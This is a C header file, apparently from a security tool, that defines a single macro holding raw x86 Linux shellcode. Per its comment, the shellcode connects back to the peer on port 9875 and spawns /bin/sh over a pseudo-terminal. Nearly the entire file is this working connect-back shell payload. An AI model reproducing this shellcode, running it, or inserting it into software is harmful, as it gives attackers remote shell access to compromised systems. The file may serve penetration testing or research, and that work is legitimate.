/**********************************************************************
 * Copyright (C) 2005-2006 (Jack Louis) <jack@rapturesecurity.org>    *
 *                                                                    *
 * This program is free software; you can redistribute it and/or      *
 * modify it under the terms of the GNU General Public License        *
 * as published by the Free Software Foundation; either               *
 * version 2 of the License, or (at your option) any later            *
 * version.                                                           *
 *                                                                    *
 * This program is distributed in the hope that it will be useful,    *
 * but WITHOUT ANY WARRANTY; without even the implied warranty of     *
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the      *
 * GNU General Public License for more details.                       *
 *                                                                    *
 * You should have received a copy of the GNU General Public License  *
 * along with this program; if not, write to the Free Software        *
 * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.          *
 **********************************************************************/
#ifndef _PAYLOAD_H
# define _PAYLOAD_H

/* connect back to port 9875 (w getpeername), use shclient for the client */

	//         0   1   2   3   4   5   6   7   8   9   a   b   c   d   e   f
#define PAYLOAD	"\x89\xe5\x83\xec\x78\x31\xff\x31\xc0\x31\xdb\xb0\x1b\xcd\x80\x31"
		"\x31\xdb\xb0\x1b\xcd\x80\x31\xd2\x89\x55\xfc\xb2\x78\x89\x55\xe8"
		"\xc7\x45\xe4\x2f\x70\x74\x6d\xc7\x45\xe0\x2f\x64\x65\x76\x31\xc9"
		"\xb1\x02\x8d\x5d\xe0\x31\xc0\xb0\x05\xcd\x80\x89\x45\xf8\x31\xc0"
		"\x8b\x5d\xf8\xb9\x31\x54\x04\x40\x8d\x55\xfc\xb0\x36\xcd\x80\x31"
		"\xc0\xb9\x30\x54\x04\x80\x8d\x55\xec\xb0\x36\xcd\x80\x8b\x4d\xec"
		"\x83\xc1\x30\xc1\xe1\x08\x80\xc9\x2f\x89\x4d\xe8\x80\x75\xe7\x1e"
		"\x31\xc0\xb0\x05\x8d\x5d\xe0\x31\xc9\xb1\x02\xcd\x80\x89\x45\xfc"
		"\x31\xc0\xb0\x02\xcd\x80\x31\xdb\x39\xd8\x75\x02\xeb\x52\x8b\x5d"
		"\xfc\x31\xc0\xb0\x06\xcd\x80\x31\xc0\xb0\x66\x31\xdb\x43\x43\x89"
		"\x5d\xe4\x4b\x89\x5d\xe8\x4b\x89\x5d\xec\x8d\x4d\xe4\x43\xcd\x80"
		"\x89\x45\xf4\x31\xc0\x89\x45\xe4\x8d\x45\xd4\x89\x45\xe8\x89\x7d"
		"\xd0\x80\x45\xd0\x10\x8d\x45\xd0\x89\x45\xec\x8d\x4d\xe4\x31\xdb"
		"\xb3\x07\x31\xc0\xb0\x66\xcd\x80\x8b\x55\xd8\x8b\x75\xf4\xeb\x02"
		"\xeb\x51\x31\xc0\xb0\x02\x66\x89\x45\xd4\x66\xc7\x45\xd6\x26\x93"
		"\x89\x55\xd8\x89\x75\xe4\x8d\x45\xd4\x89\x45\xe8\x89\x7d\xec\x80"
		"\x45\xec\x10\x31\xdb\xb3\x03\x8d\x4d\xe4\x31\xc0\xb0\x66\xcd\x80"
		"\x8b\x45\xf4\x89\x45\xe8\x89\x7d\xec\x80\x45\xec\x01\x8d\x5d\xe8"
		"\x31\xc9\x41\x31\xd2\xb2\x10\x31\xc0\xb0\xa8\xcd\x80\x39\xf8\x7f"
		"\x44\xeb\x02\xeb\x5d\x8b\x45\xf8\x89\x45\xe8\x89\x7d\xec\x80\x45"
		"\xec\x01\x8d\x5d\xe8\x31\xc9\x41\x31\xd2\xb2\x10\x31\xc0\xb0\xa8"
		"\xcd\x80\x39\xf8\x7f\x02\xeb\xb8\x31\xc0\xb0\x03\x8b\x5d\xf8\x8d"
		"\x4d\x88\x31\xd2\xb2\x64\xcd\x80\x89\xc2\x31\xc0\xb0\x04\x8b\x5d"
		"\xfc\xcd\x80\xeb\x9b\x31\xc0\xb0\x03\x8b\x5d\xf4\x8d\x4d\x88\x31"
		"\xd2\xb2\x64\xcd\x80\x89\xc2\x31\xc0\xb0\x04\x8b\x5d\xf8\xcd\x80"
		"\xeb\xa3\x8b\x5d\xf8\x31\xc0\xb0\x06\xcd\x80\x31\xc0\xb0\x42\xcd"
		"\x80\x31\xc0\x8b\x5d\xfc\x31\xc9\x66\xb9\x0e\x54\xb0\x36\xcd\x80"
		"\x31\xc0\x31\xdb\x31\xc9\xb0\x3f\x8b\x5d\xfc\xcd\x80\xb0\x3f\x41"
		"\xcd\x80\xb0\x3f\x41\xcd\x80\x8b\x75\xfc\x8b\x5d\xfc\x31\xc0\xb0"
		"\x06\xcd\x80\xc7\x45\xec\x2f\x73\x68\x41\x80\x75\xef\x41\xc7\x45"
		"\xe8\x2f\x62\x69\x6e\xc7\x45\xe4\x76\x69\x41\x41\x66\x81\x75\xe6"
		"\x41\x41\x89\x7d\xe0\x8d\x45\xe4\x89\x45\xdc\x8d\x5d\xe8\x8d\x4d"
		"\xdc\x31\xd2\x31\xc0\xb0\x0b\xcd\x80";
#define PAYLOAD_LEN	(sizeof(PAYLOAD) - 1)

#endif
